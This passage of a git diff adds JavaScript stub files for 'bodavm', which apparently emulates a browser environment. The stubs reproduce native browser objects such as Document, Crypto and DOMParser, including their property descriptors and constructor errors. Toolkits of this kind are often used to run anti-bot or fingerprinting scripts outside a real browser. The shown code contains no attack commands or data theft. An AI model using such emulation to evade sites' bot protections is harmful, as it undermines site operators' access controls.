(){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "store", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Crypto.js b/env_xbb_lastest_jsdom/env copy/Crypto.js new file mode 100644 index 00000000..4de6002e --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Crypto.js @@ -0,0 +1,10 @@ +// Crypto对象 +bodavm.memory.globalobj['Crypto'] = function Crypto(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Crypto'], "Crypto"); +bodavm.toolsFunc.defineProperty('Crypto', "getRandomValues", {configurable:true, enumerable:true, writable:true, value:function getRandomValues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "getRandomValues", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Crypto', "subtle", {configurable:true, enumerable:true, get:function subtle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "subtle_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Crypto', "randomUUID", {configurable:true, enumerable:true, writable:true, value:function randomUUID (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "randomUUID", arguments)}},'prototype'); + + +bodavm.memory.globalobj[ 'crypto'] ={} +bodavm.memory.globalobj[ 'crypto'].__proto__ = bodavm.memory.globalobj['Crypto'] .prototype diff --git a/env_xbb_lastest_jsdom/env copy/CustomElementRegistry.js b/env_xbb_lastest_jsdom/env copy/CustomElementRegistry.js new file mode 100644 index 00000000..7ab8b38a --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/CustomElementRegistry.js @@ -0,0 +1,11 @@ +// CustomElementRegistry对象 +bodavm.memory.globalobj['CustomElementRegistry'] = function CustomElementRegistry(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CustomElementRegistry'], "CustomElementRegistry"); +bodavm.toolsFunc.defineProperty('CustomElementRegistry', "define", {configurable:true, enumerable:true, writable:true, value:function define (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "define", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CustomElementRegistry', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "get", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CustomElementRegistry', "upgrade", {configurable:true, enumerable:true, writable:true, value:function upgrade (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "upgrade", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CustomElementRegistry', "whenDefined", {configurable:true, enumerable:true, writable:true, value:function whenDefined (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "whenDefined", arguments)}},'prototype'); + +// customElements对象 +bodavm.memory.globalobj[ 'customElements'] = {} +bodavm.memory.globalobj[ 'customElements'].__proto__=bodavm.memory.globalobj['CustomElementRegistry'].prototype; diff --git a/env_xbb_lastest_jsdom/env copy/DOMParser.js b/env_xbb_lastest_jsdom/env copy/DOMParser.js new file mode 100644 index 00000000..7d37c200 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/DOMParser.js @@ -0,0 +1,9 @@ +// DOMParser对象 +bodavm.memory.globalobj['DOMParser'] = function DOMParser(){ + if (!(this instanceof Document)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DOMParser': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMParser'], "DOMParser"); +bodavm.toolsFunc.defineProperty('DOMParser', "parseFromString", {configurable:true, enumerable:true, writable:true, value:function parseFromString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMParser'].prototype, "DOMParser", "parseFromString", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/DOMStringList.js b/env_xbb_lastest_jsdom/env copy/DOMStringList.js new file mode 100644 index 00000000..2b7def66 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/DOMStringList.js @@ -0,0 +1,6 @@ +// DOMStringList对象 +bodavm.memory.globalobj['DOMStringList'] = function DOMStringList(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMStringList'], "DOMStringList"); +bodavm.toolsFunc.defineProperty('DOMStringList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('DOMStringList', "contains", {configurable:true, enumerable:true, writable:true, value:function contains (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "contains", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('DOMStringList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "item", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Database.js b/env_xbb_lastest_jsdom/env copy/Database.js new file mode 100644 index 00000000..e1e5858f --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Database.js @@ -0,0 +1,13 @@ + + +// BarProp对象 +bodavm.memory.globalobj['Database'] = function Database() { return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") } +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Database'] , "Database"); +bodavm.toolsFunc.defineProperty('Database' , "version", { configurable: true, enumerable: true, get: function version() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "version", arguments) }, set: undefined },'prototype'); +bodavm.toolsFunc.defineProperty('Database' , "readTransaction", { configurable: true, enumerable: true, writable: true, value: function readTransaction() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "readTransaction", arguments) } },'prototype'); +bodavm.toolsFunc.defineProperty('Database' , "transaction", { configurable: true, enumerable: true, writable: true, value: function transaction() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "transaction", arguments) } },'prototype'); +bodavm.toolsFunc.defineProperty('Database' , "changeVersion", { configurable: true, enumerable: true, writable: true, value: function changeVersion() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "changeVersion", arguments) } },'prototype'); + +bodavm.memory.globalobj[ 'database'] = {} +bodavm.memory.globalobj[ 'database'] .__proto__ = bodavm.memory.globalobj['Database'] .prototype + diff --git a/env_xbb_lastest_jsdom/env copy/DeprecatedStorageInfo.js b/env_xbb_lastest_jsdom/env copy/DeprecatedStorageInfo.js new file mode 100644 index 00000000..12a480aa --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/DeprecatedStorageInfo.js @@ -0,0 +1,13 @@ + +bodavm.memory.globalobj['DeprecatedStorageInfo'] = function DeprecatedStorageInfo() { } +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeprecatedStorageInfo'] , "DeprecatedStorageInfo"); + +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "TEMPORARY", { configurable: false, enumerable: true, writable: false, value: 0 }); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "PERSISTENT", { configurable: false, enumerable: true, writable: false, value: 1 }); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "TEMPORARY", { configurable: false, enumerable: true, writable: false, value: 0 },'prototype'); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "PERSISTENT", { configurable: false, enumerable: true, writable: false, value: 1 },'prototype'); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "queryUsageAndQuota", { writable: true, enumerable: true, configurable: true, value: function queryUsageAndQuota() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeprecatedStorageInfo'] .prototype, "DeprecatedStorageInfo", "queryUsageAndQuota", arguments) } },'prototype'); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "requestQuota", { writable: true, enumerable: true, configurable: true, value: function requestQuota() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeprecatedStorageInfo'] .prototype, "DeprecatedStorageInfo", "requestQuota", arguments) } },'prototype'); + +bodavm.memory.globalobj[ 'webkitStorageInfo'] = {} +bodavm.memory.globalobj[ 'webkitStorageInfo'].__proto__ = bodavm.memory.globalobj['DeprecatedStorageInfo'].prototype diff --git a/env_xbb_lastest_jsdom/env copy/DeviceOrientationEvent.js b/env_xbb_lastest_jsdom/env copy/DeviceOrientationEvent.js new file mode 100644 index 00000000..4851585d --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/DeviceOrientationEvent.js @@ -0,0 +1,18 @@ +// DeviceOrientationEvent对象 +bodavm.memory.globalobj['DeviceOrientationEvent'] = function DeviceOrientationEvent() { + + if (!(this instanceof DeviceOrientationEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DeviceOrientationEvent': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length <1){ + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DeviceOrientationEvent': 1 argument required, but only 0 present.") + + } +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceOrientationEvent'], "DeviceOrientationEvent"); +bodavm.memory.globalobj['DeviceOrientationEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['DeviceOrientationEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "alpha", { configurable: true, enumerable: true, get: function alpha() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "alpha_get", arguments) }, set: undefined }, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "beta", { configurable: true, enumerable: true, get: function beta() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "beta_get", arguments) }, set: undefined }, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "gamma", { configurable: true, enumerable: true, get: function gamma() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "gamma_get", arguments) }, set: undefined }, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "absolute", { configurable: true, enumerable: true, get: function absolute() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "absolute_get", arguments) }, set: undefined }, 'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Document.js b/env_xbb_lastest_jsdom/env copy/Document.js new file mode 100644 index 00000000..339e8198 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Document.js @@ -0,0 +1,238 @@ +// Document对象 +bodavm.memory.globalobj['Document'] = function Document(){ + if (!(this instanceof Document)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Document': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Document'], "Document"); +bodavm.memory.globalobj['Document'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['Document'].__proto__=bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('Document', "implementation", {configurable:true, enumerable:true, get:function implementation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "implementation_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "URL", {configurable:true, enumerable:true, get:function URL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "URL_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "documentURI", {configurable:true, enumerable:true, get:function documentURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "documentURI_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "compatMode", {configurable:true, enumerable:true, get:function compatMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "compatMode_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "characterSet", {configurable:true, enumerable:true, get:function characterSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "characterSet_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "charset", {configurable:true, enumerable:true, get:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "charset_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "inputEncoding", {configurable:true, enumerable:true, get:function inputEncoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "inputEncoding_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "contentType", {configurable:true, enumerable:true, get:function contentType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "contentType_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "doctype", {configurable:true, enumerable:true, get:function doctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "doctype_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "documentElement", {configurable:true, enumerable:true, get:function documentElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "documentElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "xmlEncoding", {configurable:true, enumerable:true, get:function xmlEncoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlEncoding_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "xmlVersion", {configurable:true, enumerable:true, get:function xmlVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlVersion_get", arguments)}, set:function xmlVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlVersion_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "xmlStandalone", {configurable:true, enumerable:true, get:function xmlStandalone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlStandalone_get", arguments)}, set:function xmlStandalone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlStandalone_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "domain", {configurable:true, enumerable:true, get:function domain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "domain_get", arguments)}, set:function domain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "domain_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "referrer", {configurable:true, enumerable:true, get:function referrer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "referrer_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "cookie", {configurable:true, enumerable:true, get:function cookie (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "cookie_get", arguments)}, set:function cookie (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "cookie_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "lastModified", {configurable:true, enumerable:true, get:function lastModified (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "lastModified_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "readyState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "title_get", arguments)}, set:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "title_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "dir", {configurable:true, enumerable:true, get:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "dir_get", arguments)}, set:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "dir_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "body", {configurable:true, enumerable:true, get:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "body_get", arguments)}, set:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "body_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "head", {configurable:true, enumerable:true, get:function head (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "head_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "images", {configurable:true, enumerable:true, get:function images (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "images_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "embeds", {configurable:true, enumerable:true, get:function embeds (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "embeds_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "plugins", {configurable:true, enumerable:true, get:function plugins (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "plugins_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "links", {configurable:true, enumerable:true, get:function links (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "links_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "forms", {configurable:true, enumerable:true, get:function forms (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "forms_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "scripts", {configurable:true, enumerable:true, get:function scripts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "scripts_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "currentScript", {configurable:true, enumerable:true, get:function currentScript (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "currentScript_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "defaultView", {configurable:true, enumerable:true, get:function defaultView (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "defaultView_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "designMode", {configurable:true, enumerable:true, get:function designMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "designMode_get", arguments)}, set:function designMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "designMode_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onreadystatechange", {configurable:true, enumerable:true, get:function onreadystatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreadystatechange_get", arguments)}, set:function onreadystatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreadystatechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "anchors", {configurable:true, enumerable:true, get:function anchors (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "anchors_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "applets", {configurable:true, enumerable:true, get:function applets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "applets_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fgColor", {configurable:true, enumerable:true, get:function fgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fgColor_get", arguments)}, set:function fgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fgColor_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "linkColor", {configurable:true, enumerable:true, get:function linkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "linkColor_get", arguments)}, set:function linkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "linkColor_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "vlinkColor", {configurable:true, enumerable:true, get:function vlinkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "vlinkColor_get", arguments)}, set:function vlinkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "vlinkColor_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "alinkColor", {configurable:true, enumerable:true, get:function alinkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "alinkColor_get", arguments)}, set:function alinkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "alinkColor_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "bgColor_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "all", {configurable:true, enumerable:true, get:function all (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "all_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "scrollingElement", {configurable:true, enumerable:true, get:function scrollingElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "scrollingElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerlockchange", {configurable:true, enumerable:true, get:function onpointerlockchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockchange_get", arguments)}, set:function onpointerlockchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerlockerror", {configurable:true, enumerable:true, get:function onpointerlockerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockerror_get", arguments)}, set:function onpointerlockerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "hidden", {configurable:true, enumerable:true, get:function hidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "hidden_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "visibilityState", {configurable:true, enumerable:true, get:function visibilityState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "visibilityState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "wasDiscarded", {configurable:true, enumerable:true, get:function wasDiscarded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "wasDiscarded_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "featurePolicy", {configurable:true, enumerable:true, get:function featurePolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "featurePolicy_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitVisibilityState", {configurable:true, enumerable:true, get:function webkitVisibilityState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitVisibilityState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitHidden", {configurable:true, enumerable:true, get:function webkitHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitHidden_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforecopy", {configurable:true, enumerable:true, get:function onbeforecopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecopy_get", arguments)}, set:function onbeforecopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecopy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforecut", {configurable:true, enumerable:true, get:function onbeforecut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecut_get", arguments)}, set:function onbeforecut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecut_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforepaste", {configurable:true, enumerable:true, get:function onbeforepaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforepaste_get", arguments)}, set:function onbeforepaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforepaste_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onfreeze", {configurable:true, enumerable:true, get:function onfreeze (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfreeze_get", arguments)}, set:function onfreeze (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfreeze_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onresume", {configurable:true, enumerable:true, get:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresume_get", arguments)}, set:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresume_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onsearch", {configurable:true, enumerable:true, get:function onsearch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsearch_get", arguments)}, set:function onsearch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsearch_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onvisibilitychange", {configurable:true, enumerable:true, get:function onvisibilitychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvisibilitychange_get", arguments)}, set:function onvisibilitychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvisibilitychange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fullscreenEnabled", {configurable:true, enumerable:true, get:function fullscreenEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenEnabled_get", arguments)}, set:function fullscreenEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenEnabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fullscreen", {configurable:true, enumerable:true, get:function fullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreen_get", arguments)}, set:function fullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreen_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onfullscreenchange", {configurable:true, enumerable:true, get:function onfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenchange_get", arguments)}, set:function onfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onfullscreenerror", {configurable:true, enumerable:true, get:function 